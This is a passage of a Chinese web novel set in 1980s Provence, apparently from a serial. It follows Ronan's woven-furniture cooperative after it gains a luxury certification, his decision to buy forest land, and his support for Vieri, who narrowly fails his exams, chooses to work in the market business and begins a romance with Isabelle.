她一边学编织,一边问格隆丁关于产品的事,列出了一个个想要买的单品,让格隆丁给些专业建议。 在一旁的罗南笑着说: “这个时间好,你还可以买到便宜家具,如果晚点来就要大出血了。” 夏洛特低着脑袋,不怎么走心的问: “为什么?” 罗南语气轻快的说: “因为卢尔马兰手工艺合作社申请下来了‘荆棘烈阳’认证,我们的家具马上就要涨价了。” 稳如老狗的夏洛一秒钟被打回到了夏洛特,尖锐的用high C大调问: “普罗旺斯的‘荆棘烈阳’认证?你们的家具有证书了?” 罗南之前听艾利安简单讲过认证前后的不同,未来他们卖出每一件家具都会配套一张认证证书,可以查到真伪的那种: “是的,有了。” 夏洛特自知刚刚露出了马脚,用力咳嗽了两声,又切回了夏洛: “什么时候有证书?等有证书我再来买。” 格隆丁如泄气的皮球一样萎靡了下去。 夏洛特丝毫没有隐藏过自己的实力,张口闭口都是‘不差钱’,让格隆丁给她介绍最好的。 这可是个超级大客户! 做销售的都知道,顾客说之后再来,有可能真的是出于各种各样的考虑推迟购买计划,但更大的概率是下辈子都不会来了。 消费冲动褪去,万一不买了怎么办? 罗南也想通过夏洛特的反应试探一下荆棘烈阳的影响,用闲聊的语气回: “下周就有了,但有证书的家具价格可要贵好几倍呢。” 他拍着屁股下面的编织椅子,小心翼翼的试探: “这个基础款到了下周——” 这款椅子是最便宜的,现在卖2500法郎,艾利安曾经说过,每一个认证都可以让产品溢价至少300%以上。 罗南也不贪心,就溢300%。 “等到了下周就要10000了。”他故作轻松的回,实际上心里紧张极了。 格隆丁险些从椅子上掉下去。 多少? 基础款卖10000了? 主席疯了?? 夏洛特想都没想: “你们的vip只有5万法郎这一档?如果我买50万,可以升级成其他身份吗?” ‘咣当——’一声震天巨响,连巴蒂和波热都听到动静打开门查看情况。 格隆丁真的从椅子上掉了下去,正在跌跌撞撞的爬起来。 顾客也疯了? 又或者是我要数钱数到疯了?? 请假条 今天是约会日,出来Happy一下,请假一天。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第512章 荒唐的爱情争夺战 夏洛特告诉罗南,没有认证证书,他屁股下面的椅子只是一把造型精致的小众编织椅。 但有了证书,这把椅子就变成了质量和工艺有保证、具有收藏价值、至少可以传三代、可以彰显社会地位的高档收藏品了。 这能一样吗? 别说是卖10000,就算是卖30000,夏洛特也要等到有了证书再买。 “在普罗旺斯,有认证资质的家具工坊有一些,但多是用橡木或者胡桃木做为原材料,上面的纹样还必须拥有蝉、薰衣草或橄榄枝等传统元素,拥有认证的编织家具你绝对是第一家。”夏洛特突然反应过来,“看我这话说的,有没有认证,你也是普罗旺斯唯一一家在做编织家具的工坊啊.” 这位女艺人似乎对认证非常感兴趣,她问罗南: “你是如何拿到‘荆棘烈阳’认证的?据我了解,这个认证只颁发给过做精油和皮具的工坊,而且对女性工人的占比有要求。” 罗南指了指楼下: “我这里的编织工人几乎全部是妇女。” 夏洛特疑惑的看向对面的格隆丁。 格隆丁不好意思的搓手: “我是销售,偶尔代课。” 夏洛特又半信半疑的看向巴蒂的那间教室。 罗南哭笑不得的说: “他是这里唯二的男工,我这样说吧,除了巴蒂和另一个男工还有销售们卢尔马兰手工艺合作社里全部是女工。” 夏洛特的助理一下子兴奋了起来: “那我也要买,就当是帮助姐妹们了!” 格隆丁用异样的眼神打量起这个看起来怪怪的‘先生’。 担心露馅,罗南起了个话题,把格隆丁的目光吸引过来。 他问夏洛特: “‘荆棘烈阳’认证在普罗旺斯的普及度高吗?” 格隆丁立即竖起耳朵。 对啊,这到底是个什么认证? 为什么即使涨了这么多的价格,这位有钱的先生也必须要买它。 这个问题可算问到夏洛特的舒适区了。 没有太多私人生活的她,唯一的爱好就是买买买买买。 “在大众中的认知度可能不算高,但在有钱人中的认知度非常高。”夏洛特的戏瘾又犯了,一副怡然自得的样子,“我女朋友非常喜欢有‘荆棘烈阳’认证的东西,这大概要感谢福克斯家族对普罗旺斯市场的教育,他们售卖的几款高端线香水都是以‘荆棘烈阳’为核心宣传的,而且一瓶难求,女孩们理所应该的认为‘荆棘烈阳’和身份象征划等号,而身为一个合格的男人,我自然要满足她。” 格隆丁马上捧场的说: “您的女朋友一定是世界上最幸福的女人,因为您有如此棒的眼光,在我们还没有申请到认证时,就开始关注了。” 夸啊,狠狠的夸。 这个家伙说要买50万法郎的家具呢。 夏洛特对格隆丁的恭维非常满意,呵呵笑着说: “未来我们买了新的房子,我也会来这里采购的。” 罗南的嘴角不受控的抽搐了几下。 心想这都哪儿跟哪儿啊可这两人还真就顺着这个邪门的话题聊下去了。 专业的事就是得交给专业的人。 格隆丁几句话下来把夏洛特哄得那叫一个开心啊,她拍着胸膛保证——等合作社认证到位,她一定会再来一趟,50万法郎的消费只会多不会少,而且来的时候还点‘丁少’。 听到这,罗南终于放心的靠到了椅子靠背上。 艾利安果然没有骗他。 在普罗旺斯,认证是走向‘高端’的捷径。 又陪了一小会,罗南起身和夏洛特告别。 他后面有工作,而且给布鲁诺的电话还迟迟没有打,必须得离开了。 分别时,夏洛特又提起了那个话题——让罗南考虑下vip是不是可以加些更高的档位。 罗南解释5万法郎是没有认证时的vip体系门槛,拿到证书vip体系也会随之升级,近期他们会根据实际情况并调研现有vip们的态度,制定新的vip政策,等夏洛特下次来编织大院时好好给她讲讲。 格隆丁在心中给罗南点了一个赞。 主席太会忽悠了。 他们到现在一个vip都没有呢,上哪儿调研vip们的态度啊? 回去的路上,罗南的脚步轻快的不像样。 夏洛特是有头有脸的人物,绝对不会食言。 她说要买50万的家具,这笔款项就一定会到账! 有了这笔大订单.买森林的投入是不是能再提高一点点了? 但这个想法一出现,罗南的心中又又又一次响起了那道声音: “增加的面积一定要在能力承受范围之内,千万不要像去年的卢卡斯一样抱有侥幸心理和赌徒心理,你现在有钱买,未来你有钱养吗?日子不过啦?” 罗南渐渐放慢了脚步,在热闹的游客队伍中冷静的分析当下的情况。 夏洛特肯为认证买单,不代表其他普罗旺斯有钱人也买单。 不要忘记,这位女明星在之前就对编织家具感兴趣,但其他的客户并不是这种情况。 而且夏洛特属于有钱人中的有钱人,经济条件不是正常有钱人能比的。 就比如罗南自己,他绝对在有钱人之列,但你让他花一两万买一把椅子.罗南反正是不舍得。 万一大部分顾客被高昂的价格劝退了怎么办? 但退一万步讲. 多了一笔50万的大订单,难道不值得‘庆祝’一下吗? 想到这里,罗南又跑了起来: “5公顷,就多1公顷,不算任性吧?” 本来要一早给布鲁诺打电话。 但上午一件事连着一件事,等他离开编织大院都快上午10点了。 6月份,一过上午10点,在户外干活的居民便会找个地方等太阳下山,气温低下去后再继续做户外劳动。 这不,罗南回餐厅的路上,遇到了好几批农夫坐在民宅门口的阴凉处聊天,而且这帮人见到罗南打招呼的话也几乎都是一样的。 “哟,罗南,今天没出去啊?那个什么,什么时候去给朋友们送请柬啊?千万别客气,我帮你跑几趟。” “都知道你忙,但结婚的事情也要上心,公示都贴出来了,请柬也要发了,村子里的人不用,大家都看到了告示,但你在外村的朋友们千万别忘了通知,我最近没什么事,到时候我去帮你。” “罗南,听说你认识阿兰·德龙?你会邀请他来参加你的婚礼吗?” 结婚公示期还没有过。 每当村民看到那些牌子就会想起——卢尔马兰最有出息的两个孩子要在下个月结婚了。 而且这两个人一会上电视一会上报刊,在普罗旺斯是名人.他们的婚礼也一定会来许多名人吧? 普罗旺斯人非常重视婚礼,邀请亲朋参与婚礼是一件非常神圣的事情,需要亲自把请柬交到受邀者的手里上。 大家知道罗南非常忙,很可能没有时间亲自做这件事,于是纷纷惦记上了这份美差事。 罗南一回餐厅,冯珍就把他叫了过来,神秘兮兮的问: “你那个叫阿什么什么朋友的请柬,让康奈尔去送还是让巴蒂去送.想好了吗?” 罗南斜靠到收银台上,摇头: “没有,请柬的事情还没来及考虑,最近要被集市招工烦死了。” 按理说,公示都贴出来了,确实该着手安排给朋友们送请柬。 不能等月底再开始送啊,那就太晚了。 但集市这里把罗南弄的焦头烂额,他已经拖了略伦特太久的时间连认证徽章都要下周再去拿。 冯珍咂了下嘴: “你面了这么多人,还没找齐人手吗?” 罗南疲惫的叹气: “旅行季招工太难了,我现在是和梅纳村、博尼约那些大场子抢,而且不是本村人,不是特别合适的我也不想要。” 卢尔马兰已经找无可找了,罗南把招聘发去了隔壁几个村子。 但卢尔马兰的其中两个邻居是金三角里的梅纳村和博尼约,那里的工作机会也非常多,而且同样是依靠外村人力才能运转起来的地方更可气的是,梅纳村和博尼约比卢尔马兰村的名气大。 许多人看到招工信息,不管里面实际是什么内容,更倾向金三角的那方。 在金三角找不到工作的,才会看看卢尔马兰的工作,所以来的人都是些‘歪瓜裂枣’。 罗南对集市寄予厚望,宁可找不到人,也不想要那些不合适的。 冯珍的脸色难看了下来: “还差多少?” 罗南已经一次又一次的降低了人数要求,但第一批30个人都没招齐: “还差7、8个,但不管招不招齐,下周也要动起来了。” 到了此时,罗南愈发觉得自己当时扬言要把摊位开去普罗旺斯每一个角落太‘口出狂言’了。 别看冯珍性格大大咧咧,但遇到事她比谁都上心。 担心母亲为集市的事情费神,罗南安慰她道: “别担心,我现在把招聘发去了更远的地方,人早晚肯定能招齐。” 冯珍点了点头,心里盘算着今晚得继续给罗天海加加油了。 你看儿子现在工作压力多大 你这个当爹的得赶紧成为富一代啊! 两个人各怀心事沉思了几秒,突然,冯珍拍了下桌子: “你看我这个脑子,聊着聊着差点把正事忘了。” “什么正事?”罗南疑惑的看过去。 冯珍压低声音说: “还是那个阿什么什么的请柬啊,康奈尔和巴蒂都想去送,我看那意思两个人较上劲了,你得赶紧把事儿解决了。” 和村民一样,罗南的这帮朋友们也早早的惦记起了他的请柬名单。 康奈尔认为给阿斯特丽德送请柬的人非他莫属。 从去年夏天第一次看到一袭红裙、开着最新款保时捷的阿斯特丽德出现在罗南家门口的那刻起.康奈尔的心就完全属于她了。 那之后的一年,康奈尔时常把阿斯特丽德挂在嘴边,像是给大家介绍他未过门的妻子就这样,巴蒂也知道了罗南有这么一号朋友。 虽然巴蒂没有见过阿斯特丽德,但他居然深深爱上了康奈尔口中那个美丽、高贵、神秘又危险的女人。 请柬发过去,对方不一定会来,这只是礼数的一部分。 万一这位大人物有其他事情错过罗南的婚礼,这可能是巴蒂唯一一次见到阿斯特丽德本人的机会,所以他也不想错过。 其实一开始康奈尔和巴蒂之间的‘争夺’是玩笑性质的,还相约要一起去呢。 二人是卢尔马兰数一数二的‘卧龙凤雏’,多少有些惺惺相惜。 但这个玩笑开到后面就有些认真了.两个人心中燃起了让人一点都无法理解的占有欲和胜负欲。 连亨利都偷偷来给罗南告过秘,说康奈尔和巴蒂之间出现火药味了,让他一定要留意一下。 身为罗南先生的绝对心腹,亨利自然知道罗南花了多少心思才将农夫和艺术家们统一了立场。 亨利来说了一次,母亲也提醒了,这让罗南不得不重视起这个问题。 罗南摸着下巴,头疼的嘟囔: “上帝,这都能出现问题.” 请问,阿斯特丽德知道你们俩是谁吗? 你们的爱情争夺战是如此的可笑和荒唐! 冯珍催促道: “赶紧的啊,他们两个人中午都会来吃饭,很有可能会碰上。” 罗南低头沉思了几秒,翻开收银台后的一个本子,打出了一个电话。 这个问题也不是不能解决。 两个人都想去送,还为此打起来了,那就都别去了罗南自己送。 其实不只是阿斯特丽德,沃克吕兹省粉红酒爱好者协会所有人的请柬,都该罗南自己去送。 罗南在普罗旺斯的发家史离不开这里的一位位成员,让朋友代送有些不合适了。 “喂,哪位?”不多时,电话那一端被人接起,一道清冷的女声打乱了罗南的思绪。 罗南顿时露出笑容: “会长,是我。” 伊内斯有些意外罗南会这个时间打来电话,用很正式的口吻问: “罗南?有什么事吗?” 罗南立即表明来意: “这个月您是不是不太忙了?可不可以召集一次聚会?我想把婚礼的请柬送给大家。” 粉红酒爱好者协会已经很久没聚会了,上次在摩纳哥伊内斯开玩笑的说,6月份无论如何必须举行一次聚会,再不聚一次这个组织都快‘散’了。 罗南正好可以利用这个机会把请柬送给大家,省的一个一个跑了。 伊内斯的忙碌是因为《普罗旺斯艺术指南》,等月中发出去,她就不用那么忙了。 伊内斯的语气依然严肃: “发刊的时间推迟到了月底,如果要聚会也要那个时候。” “嗯?”罗南不禁发出一道鼻音,“为什么推迟?” 伊内斯的语气立即冷峻了下来: “我对其中的一些栏目设计和版面不够满意,想要再打磨一下。” 罗南默默点了点头,伊内斯一向是精益求精的性格。 月底发刊,现在约聚会时间太早了,伊内斯也有工作要忙,两个人约定晚些再联系,她便要匆匆挂了电话。 但在最后时刻,罗南突然又喊了一声会长。 伊内斯再次把话筒举起来: “还有什么事?” 罗南抱着试一试的态度,小心翼翼的说: “既然推迟了发刊时间,那么我和巴蒂的艺术家介绍是不是还能再改一下?卢尔马兰合作社申请到了‘荆棘烈阳’认证,可以把这一点补充上吗?” 伊内斯说过,《普罗旺斯艺术指南》发刊时,米切兰杂志社会给其海量曝光资源,把创刊号的销量冲上去。 那么在创刊号上公布的第一届‘普罗旺斯艺术家排名’也一定可以得到海量的曝光这可是《普罗旺斯艺术指南》最核心的内容,就好像是米其林餐厅的排名一样,大家买杂志看的就是它。 如果在这里提及卢尔马兰合作社的‘荆棘烈阳’认证,广告效益一定是最高的,这个消息将传到所有买了《普罗旺斯艺术指南》的读者手里。 发刊日期是月中,罗南就不奢望这件事了就算伊内斯是他的亲妈这也有点强人所难了。 但伊内斯说发刊日期推迟,且内容还在调整,罗南才敢问这么一嘴。 此刻伊内斯没有心思聊聚会的事,但和工作有关的事她愿意聊,尤其是可以彰显他们评选出来的艺术家厉害的消息。 她详细了解了‘荆棘烈阳’认证的进度,确定已经完全通过后,立即答应了罗南的请求: “我现在就安排人去更新你和巴蒂的艺术家介绍。” 挂了电话,罗南兴奋的对着空气挥了一下拳头: “编织业务要起飞了!” 他一直在思考下周取得‘荆棘烈阳’认证后,如何快速宣传出去,靠销售们一个一个联系老顾客,效率可太慢了。 有了《普罗旺斯艺术指南》上的报道,无形中等于买了一个价值好几百万的大广告。 到了6月底,普罗旺斯人不仅会认识一位名叫罗南的甜品艺术家,还将认识一个拿到了重要地方认证、名叫卢尔马兰手工艺合作社的编织家具工坊。 有了荆棘烈阳认证,再加上罗南在普罗旺斯艺术家中的排名罗南自信的认为,编织业务的营业额一定能百分之好几百的溢价。 这个意想不到的收获,让罗南的心态又发生了变化。 餐厅收入是兜底,编织业务也开始正式起航.森林多买点,也不是养不起了吧? 但这个想法刚一出现,心中那道声音如期而至: “增加的面积一定要在能力承受范围之内,千万不要像去年的卢卡斯一样抱有侥幸心理和赌徒心理,你——” “好了好了,别卢卡斯了,卢卡斯已经走出泥沼了!”罗南赶紧叫停了自己的脑子。 他拿起电话,终于播出了那个号码: “喂,布鲁诺?我已经考虑好了,我要买10公顷的森林。” 第513章 来,接住这颗直球 布鲁诺是真兄弟。 听到罗南的决定,说了句‘等我消息’便挂断了电话,夕阳还没下山就给罗南回了信,让他后天去森林局签合同。 买森林的事和去阿维尼翁拿认证证书不同,对方可以商量着来,能等一等。 听布鲁诺的意思卖家非常着急,一直在等森林局的回复,也就是说后天就算是下刀子.罗南也要拿着支票去马赛签合同。 看着日历上一个个面试信息,罗南急得直挠头。 他去了马赛,后天的这几个面试可怎么办呢? “找人替我面一天?” 这似乎是目前最好的选择。 但细数起身边的这些帮手,编织业务那几个家伙指望不上,巴蒂、卡福和桑德琳都不熟悉普罗旺斯集市文化,无法胜任。 父亲罗天海最近频繁的往来阿普特,罗南也不想给他再增加任务,父亲不在餐厅,母亲就要多在餐厅盯着,而且她也不太熟悉集市的业务。 莉亚倒是合适,可她离不开后厨,甜品大赛后,来餐厅吃甜品的顾客络绎不绝,多到罗南要给甜品小队增加人手。 佐伊可以替罗南去一天,但罗南不确定佐伊后天是不是有其他工作,得去问一问。 正想着这些,伊莎贝尔从罗南的面前经过。 罗南赶紧将她叫住: “伊莎贝尔,后天给你安排个任务。” 怎么把这个机灵的姑娘忘了,让伊莎贝尔去面试太合适了。 可伊莎贝尔却给了罗南一个措手不及: “我请假了,今天下午就不来了,什么时候能来上班.现在还不确定。” “啊?你请假了?”罗南意外的问,“出什么事了吗?” 员工考勤和排班由罗天海负责,罗南对此并不知情。 伊莎贝尔比罗南还意外: “佐伊没有跟你说什么吗?” 罗南摇头: “没有,我和佐伊就昨晚通了一个电话,上次见面还是前天呢。” 昨天罗南一早去了皮奥朗克,下午把费尔南教授和艾尔登带来了卢尔马兰,这一忙就忙到晚上了,今早起来又发生了这么多事,小情侣哪有时间见面啊。 伊莎贝尔犹豫了一下,还是鼓起了勇气: “昨天会考分数出来了,维埃里没有考上大学,我想去陪陪他。” 中午,罗南在佐伊的嘴里听到了更加详细的事情经过。 “差一点点,真的只差一点点。”佐伊的情绪有些激动,“爸爸看到分数单上的9.94时拳头都攥起来了,只要多考0.01,维埃里就可以赋分成10,但就因为这0.01他现在是9.9。” 普罗旺斯的高中会考政策和巴黎不同,罗南在巴黎上学时最小的分数单位是0.1,代入到了这0.01中,他也感觉无比遗憾,可想而知维埃里此刻的心情该有多糟糕了。 不过伊莎贝尔已经请假去陪了维埃里,罗南有些担心无人陪伴的路易。 事实上,路易非常重视维埃里的未来发展,曾经给他安排过无数个未来,一会想让他当农夫,一会想让他当房产中介.今年来路易主动修复起了父子关系,但他望子成龙的心肯定是不会变的。 “路易还好吗?”罗南担心的问。 佐伊叹气: “看起来还可以,但心理状态实际怎么样就不知道了,昨晚爸爸不停的念叨,说如果差0.1他不会那么难过,但只差0.01他真的有些无法接受。” 罗南跟着叹了一口气,想到了一个情况: “只差一点分数的学生,是不是还有一次‘补考’的机会?” 法国大学执行申请制,会考高于10分的学生可以自由申请心仪的大学和专业。 这就会造成有些大学或者学科被冷落的情况发生。 在巴黎,某些大学招录名额不满时,会开启补考通道,学生可以再加试两门课程。 罗南不知道普罗旺斯是不是也有这种政策。 佐伊居然是第一次听到这个政策,她摇着脑袋说: “普罗旺斯没有补考政策,只有‘地区特招配额’,吕贝隆的考生可以降低0.5分报考农业学科,这是维埃里唯一上大学的机会了。” “但维埃里不喜欢种地,也不想跟土地打交道。”罗南解释,“我很早之前就问过他了。” 罗南刚来普罗旺斯时,路易天天把‘我儿子未来要成为卢尔马兰最棒的农夫’挂在嘴上,后来维埃里迷茫未来之际,罗南还问过他是不是想要务农,得到的答案是否定的。 佐伊一脸愁容的说: “昨晚维埃里说他会认真考虑一下,之后就把自己锁到卧室里了。” 罗南双手抱胸: “别担心,等我忙完下午的面试,去你家坐坐,和路易聊聊,也和维埃里聊聊。” “聊什么?”佐伊抬眉看过去。 罗南一脸正经的说: “帮维埃里和路易卸下心理包袱。” 请好假,伊莎贝尔打电话把维埃里约到了他们经常来的村外缓坡。 同样的地点,同样的大树下,两个人的心情和状态和之前任何一次来时都不一样了。 原本叽叽喳喳每天陪着维埃里复习的伊莎贝尔变得沉默寡言,背靠着粗壮的大树,看着远处起伏公路上来来往往的小汽车不知道在想些什么。 经常抱怨‘你太吵了’的维埃里,却怕伊莎贝尔担心自己的状态,主动说了许多许多: “学农也挺好的,我爸爸当过农夫,罗南也当过农夫,而且他们都做的非常出色,我应该也不会差的,而且罗南也是半路出家啊,现在都要在普罗旺斯搞新葡萄品种了,等我毕业了找罗南要一块田,应该也挺不错的。” “可你对农业不感兴趣。”伊莎贝尔语气平静的说,“你说过,你想去学经济,学贸易,或者学金融。” 维埃里揪起几根草,扔到半空中: “但我只能学农业,要不然就没有大学上了。” 伊莎贝尔侧头问: “但为了上大学去学自己不感兴趣的学科,很可能未来要从事的也是不感兴趣的工作,这真的是你的真实想法吗?” 维埃里抱起膝盖,语气变得低落: “但佐伊上过大学,罗南也上过大学我爸爸也一直想让我上大学。” 伊莎贝尔反问: “一定要上大学吗?你的同学里几个过10分了?” 隔了几秒,维埃里侧头与伊莎贝尔对视,迷茫的问: “但不去上大学,我能干什么?” “你明明会很多啊。”伊莎贝尔掰着手指头说,“你会算账,你会订货,你会布置活动现场,你还会做营销活动为什么要去做自己不喜欢的事情呢?” 伊莎贝尔越说越激动,语调也越来越高。 如果放到平时,维埃里高低得讽刺一句‘你现在好像是炸了毛的老母鸡’,但今天维埃里不想和她对着干了他好声好气的回: “但上了大学未来更有保障一些,我不能——” 伊莎贝尔只听了前半句,便粗鲁的打断了他: “因为我不是大学生,未来没有保障,你才一直不肯直面我们的关系吗?” 维埃里被伊莎贝尔的直球吓到了,愣了好几秒钟没有给回复。 伊莎贝尔如炸毛的‘母鸡’般跑下矮坡: “你对我是什么感觉我无法干涉,但是维埃里你不开心,我就不会开心!我希望你能做出一个让自己开心的选择,为自己,而不是为别人!!” 维埃里站了起来。 服了,我都好声好气了,怎么还能‘怼’起来啊。 下午罗南面试完,把车停到距离路易家最近的停车场,正好看到独自从村外走来的维埃里。 “干什么去了?”罗南主动迎了过去。 维埃里这一路都在想事情,听到罗南的声音吓了一跳,搪塞道: “去缓坡待了一会。” 罗南没有问伊莎贝尔怎么没有和他一起,现在不是八卦的时候。 他掐住了维埃里的后脖颈,这个动作卢卡斯曾经对罗南和特奥做过。 每当老大哥要对弟弟们说什么重要的事,都会做出这个动作。 “大学上不上无所谓,即使你不上大学,也可以有许多事情做,无论你是想自己做点什么生意,还是来帮我,我都会给你支持,这是我给你的保证。”罗南郑重的说,“但如果你选择去上大学,我也会支持你,我永远都是站在你这边的。” 罗南是维埃里最信任的人,也是他的偶像。 听到这些话,维埃里因为会考失利、陷入两难的不甘和失落散去大半.五味杂陈的心里多了一丝感动。 “我永远都是站在你这边的。” 这句话罗南曾无数对维埃里说过,而他这一年多来也的的确确是这样做的。 “所以说说你的想法吧?”罗南搂着维埃里的肩膀问,“你想怎么选择?” 等了那么几秒钟,维埃里闭口不言,看表情还在做着最后的抉择。 罗南拍了拍他的肩膀: “抛开路易,只谈你自己。” 这次维埃里终于开口了: “我一直想跟着你干,每天去餐厅的那几个小时和去集市帮忙的日子是除了踢足球让我最开心的时刻,虽然爸爸没有直说,但我清楚他想让我上大学.我不想让他失望。” “好了,我知道了。”罗南停在路易家的门口,认真的对维埃里说,“之后你跟着我干,帮我去打理集市的业务。” “啊?我?”维埃里指着自己的鼻子,似乎是不敢相信罗南会把那么重要的业务交给大学都没考上的自己。 罗南将维埃里推进屋: “那些事之后再说,先大胆的说出你的选择。” 路易结束了工作回到家,一推门,看到儿子正坐在他平时喜欢坐的单人沙发上。 “我以为你会在卧室里待着。”路易露出了一个略显尴尬的笑容,昨晚他‘破防’的样子让儿子看到了。 事实上维埃里一直在等他,指着另一组沙发问父亲: “聊聊吗?” 路易有一刹那的错愕,这是维埃里第一次主动提出和自己聊聊的请求。 他把西服外套挂到餐厅的椅子上,问维埃里: “需要酒吗?” 维埃里也是一阵错愕。 在普罗旺斯有一个不成文的规定,一旦父亲在和儿子独立聊天时给对方倒酒,说明一家之主承认儿子已经‘成年’了。 维埃里打死也没有想过,自己的‘成年仪式’居然会在这个时刻。 “可以来一杯。”他生涩的回复。 佐伊的卧室内。 罗南和佐伊把耳朵放到微微敞开的门缝处。 “气氛比我想象中的轻松啊。”罗南低头对佐伊说。 佐伊依然一脸严肃,抬头问罗南: “爸爸真的能接受维埃里的选择吗?我的意思是真实想法,不是伪装出来的。” 罗南拍着未婚妻的肩膀说: “我已经‘教’过维埃里了,把一切责任都推到我的身上,是我邀请他去帮忙,是我建议他直接工作,跟着我干路易还能不放心吗?即使有一些遗憾.也会很快过去的。” 佐伊叹气: “希望如此吧。” 父子喝酒局第一次出现。 路易和维埃里都显得有些局促。 明明每个人都有问题想问,但就是假惺惺的聊起了别的。 第一杯酒喝完,倒上第二杯的时候,路易才开口: “你不用着急做选择,先好好放松一下吧,出去旅旅游,和同学去踢踢球,高中这几年也辛苦了。” 维埃里低着脑袋,紧张的不停搓手: “我已经做好选择了.” 路易的状态肉眼可见的紧张了起来,将食指抵到左手手掌上,做了一个‘停下’的动作: “会不会思考的时间太短了?” 维埃里抬起了头: “不短了,其实这个答案我思考很久了。” 路易有些不敢和儿子对视,一会摸杯子,一会擦桌子,但同时嘴也没闲着: “维埃里,虽然我和你妈妈曾经对你的教育方式比较严厉,但我们都知道你是个好孩子,而且是一个心思细腻的好孩子,其实我.我和你妈妈一直有些话想要对你说。” “爸爸又嘴硬了。”佐伊在卧室里点评,“妈妈有什么话从来不会藏着掖着,要说早就说出去了,他是自己有什么话想要对维埃里说。” 罗南突然想到什么,问佐伊: “莉亚对维埃里未来的态度是怎么样的?” 佐伊压低声音说: “和我差不多,有些遗憾于没能考到10分,但更多的是尊重维埃里的选择,其实我们家只有爸爸想要安排维埃里的未来。” 罗南紧张的侧起耳朵: “听听看路易想说什么吧。” “我和你妈妈学生时期赶上了战争,活下去吃饱饭都很难了,上学什么的完全不敢奢望,这就造成我们这个年纪的人对大学.有一些很难割舍的情愫。”路易自嘲的说,“其实就是希望子女能弥补自己的遗憾。” 他喝了一口酒,停顿了一下继续说: “以前我建议你去做农夫或者去房产中介也有私心我只有这点本事,你从事这两种工作我才能给到你帮助。” 维埃里不动声色的握紧了拳头。 这是路易第一次解释,他为什么要给儿子安排工作。 “但是我们不能太自私了。”路易和蔼的笑了起来,“你的生活应该自己选择,那不该和我的遗憾和经历挂钩,你妈妈知道你是个懂事的孩子,所以她让我告诉你——你的选择也不要和你爸爸挂钩,尊从你的内心吧儿子。” “都这个时候了,还在嘴硬!”罗南和佐伊异口同声的说。 佐伊放心的拍了拍胸口: “有了爸爸的态度,再加上你‘教’维埃里的话,这件事应该可以平稳度过了。” 罗南开心的把下巴抵在佐伊的头顶: “等维埃里回答完这个问题,我们就冲出去,把气氛搞热闹一点,别让他们两个太尴尬了。” “好的!”佐伊雀跃的说。 路易的声音温柔的不像样子: “说出你的想法吧,维埃里,说出你的真实想法。” 维埃里紧攥的手掌终于放开,勇敢的说: “我想跟着罗南做生意,成为一个优秀的商人,请您放心,即使没有上大学,我也会成为您和妈妈的骄傲,就像佐伊那样因为我喜欢的女孩也没有上大学,却比那些上大学的人还要优秀,我相信我也可以的。” 打算破门而出的小情侣不敢动弹一步,像被人施了定身符咒似的。 佐伊瞪大眼睛问罗南: “这话也你是教他的?” 罗南脑袋摇的像拨浪鼓一样: “怎么可能?!” 晚上八点钟。 正在床上气的直凿墙的伊莎贝尔被母亲告知,家里来客人了。 她到楼梯上那么一看,正是她最不想看到的那个家伙! “去夜游吗?”维埃里红着脸抬头问打算远路返回的伊莎贝尔。 伊莎贝尔只短暂思考了1秒钟,跟着他走了。 8点多钟,卢尔马兰的街道上已经没有什么人了,甚至大部分人都打算睡觉,这绝对不是个夜游的好时候。 维埃里也不想拖拉,刚一出了伊莎贝尔家的门,便送回了下午还来及送回的‘球’: “做我女朋友吗?” 伊莎贝尔还在气头上: “我没上过大学,没有保障。” 维埃里把脑袋挪到另一侧: “我也没有大学上了,我做好选择了。” “真的假的?”伊莎贝尔侧头问。 维埃里很平静的说: “真的,我已经和我爸爸说完了。” 伊莎贝尔冷哼着说: “看你下午说的那些话,我以为你要去上不喜欢的大学了。” 维埃里也冷哼一声: “是你太心急了好不好?根本不等人把话说完就急了,我要说的全句是——但上了大学未来更有保障一些,我不能让你跟着我受苦吧?” 伊莎贝尔的嘴硬也不是盖的,嘴角都绷不住了,还在怼: “你现在不是想怎么说就怎么说了?谁知道你下午想说的是什么。” 维埃里气急败坏的问: “你到底答应不答应做我女朋友?” 伊莎贝尔的语气比他还‘气急败坏’: “你晚上8点多来我家找我,不答应你我怎么跟家里解释?” “那你.那你离我近点啊,走这么远干什么。” “你不会自己过来吗?腿短跟不上?” “我过来了你躲什么?在一起不都要拉手吗?!” “你你你!你咬我!!!” 第514章 最合适的人选 维埃里从学生到打工人的转变只用了短短两天时间。 拿到会考成绩的第三天,他便顺利‘入职’,并且有了一支‘庞大’的团队。 当罗南给维埃里看完通过面试的集市员工名单,这位还不到18岁的小伙子有些自卑的问: “他们其中最小的一个都比我大6、7岁,最大的是我妈妈的年纪.你真的要让我管理他们吗?” 吕贝隆的商人习惯以家庭为单位经营生意,身为罗南的‘小舅子’,维埃里帮助姐夫打理一项业务是很正常的事,可问题是维埃里的年纪太小了。 不止是维埃里没有自信,路易和莉亚也同样觉得这件事有待商榷。 他们支持维埃里去给罗南帮忙,但一下子给维埃里那么重要的岗位.会不会不太合适? 两口子试图让罗南给维埃里换个工作,可罗南认为维埃里担任这个岗位无比的合适。 他鼓励的说: “年纪不代表资历,同样不代表能力,你参与过那么多次梅纳村和卢尔马兰的集市,还和我去过还愿盛典特殊集市,而且你接触的是爆款摊位,他们谁能和你比?” 维埃里指着其中几个人的名字说: “这里有许多人都有很丰富的集市经验。” “但他们不如你了解‘产品’。”罗南摊手,“你在餐厅上过班,了解中餐,你还了解斯特斯加粉红酒庄这些人有谁比你了解我们要卖的东西吗?” 维埃里有些矛盾。 面对罗南的器重,他既想好好大展拳脚证明自己,又担心无法胜任.现在和以前来帮忙时情况不同,这是他的正式工作了。 罗南很理解维埃里的心情。 放弃上大学的机会,直接进入社会,让维埃里有很大的心理压力。 但只有压力是不行的,还要有动力啊小伙子。 罗南压低声音,神秘兮兮的对维埃里说: “等商业街上的新店开起来,我就要把伊莎贝尔升职成店长管理一整个餐厅了,到那个时候,她手下有三四十号人,你也不想和她差距太大吧?” 维埃里一秒钟变脸,马上改变了态度,积极的问: “下一步我要做什么?” 这对欢喜冤家虽然确定了关系,可依旧喜欢互相比较,因为他们就是通过一次次幼稚的‘你行我不行’、‘我比你更厉害’建立起来的情感联系,将来这种比较会持续在两个人相处的点点滴滴里。 在事业方面,维埃里已经比伊莎贝尔起步晚了,不能再被甩下,虽然困难重重,但他决定要‘一往无前’。 